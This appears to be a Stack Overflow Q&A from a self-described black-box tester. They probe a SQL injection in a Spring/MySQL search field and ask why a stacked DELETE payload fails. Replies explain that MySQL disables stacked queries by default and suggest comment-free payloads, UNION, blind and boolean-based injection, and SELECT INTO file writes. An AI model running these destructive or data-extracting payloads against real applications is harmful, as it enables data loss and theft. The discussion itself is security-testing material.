2

I'm black-box testing an application which uses java spring framework and MySQL in the back-end.

When I insert a single quote (') in a text box field, the server returns a HTTP status code 500 Internal server error with the below error stack trace,

org.springframework.jdbc.BadSqlGrammarException: StatementCallback; bad SQL grammar [select code, name, num_code from car where UPPER (code) LIKE UPPER('%'%') LIMIT 0,10];

So it's absolutely a SQL Injection.

And because of that, I tried to delete a row in another table which sits in the same DB with the below payload:

%'); DELETE FROM p_test WHERE t_id=1#

which will in-turn change the query as:

select code, name, num_code from car where UPPER (code) LIKE UPPER('%%'); DELETE FROM p_test WHERE t_id=1# %') LIMIT 0,10

Now a row must get deleted in the table p_test with t_id = 1, but it returns the HTTP status code 500 with below stack trace,

[http-bio-8080-exec-7] ERROR c.q.j.e.r.CommonHandlerExceptionResolver - doResolveException going to resolve the following exception : org.springframework.jdbc.BadSqlGrammarException: StatementCallback; bad SQL grammar [select code,name,num_code from car where UPPER (code) LIKE UPPER('%%'); DELETE FROM p_test WHERE t_id=2#%') LIMIT 0,10]; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DELETE FROM p_test WHERE t_id=2#%') LIMIT 0,10' at line 1

If anyone has any idea please reply.

  • Why are you trying something so destructive like a DELETE and not something more interesting? Alternatively, try to incorporate remaining code in your statement with something like %'); DELETE FROM p_test WHERE t_id=1 AND ('' LIKE '. – Gumbo Jun 13 '14 at 11:13
  • Aren't comments in MySQL done by -- instead of #? – Qeole Jun 13 '14 at 11:22
  • @Qeole MySQL has both comment styles. – Gumbo Jun 13 '14 at 11:30
  • @Gumbo Could you explain why you have added AND ('' LIKE ' at the end of statement? – william cage Jun 13 '14 at 11:36
  • @williamcage To include the remaining code into the statement without using any comments. So the resulting DELETE would look like DELETE FROM p_test WHERE t_id=1 AND ('' LIKE '%') LIMIT 0,10, which is a completely valid statement and ('' LIKE '%') is always true. – Gumbo Jun 13 '14 at 11:38
3

The MySQL client library doesn't allow multiple stacked queries by default, so you can't execute an arbitrary statement with this injection alone.

This is a handy mitigation against simple automated attacks, but with knowledge of the specific application there is still a lot you can do with a select injection. If you get to see the output of the query you can UNION with another select on a table you want to know about (otherwise see 'blind injection' for more tedious techniques to get that data out). If you have SELECT INTO permissions you can cause some real damage (arbitrary file write possibly escalating to executing arbitrary code).

  • +1, another good example of SQL Injection that isn't protected by eliminating stacking is modification of the WHERE clause. This can often allow you to log in as any user or delete entire tables to name a few things. – Abe Miessler Jun 13 '14 at 14:50
  • MySQL doesn’t support multiple statements by default but they can be enabled during connection with mysql_real_connect. – Gumbo Jun 13 '14 at 15:56
  • @bobince I tried using UNION with another select. – william cage Jun 16 '14 at 15:58
  • @bobince But the tricky part is if I use comma somewhere in the query the whole grammar of actual query gets changed – william cage Jun 16 '14 at 15:59
  • @williamcage You can still use the boolean-based exploitation technique. – Gumbo Jun 17 '14 at 11:37

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.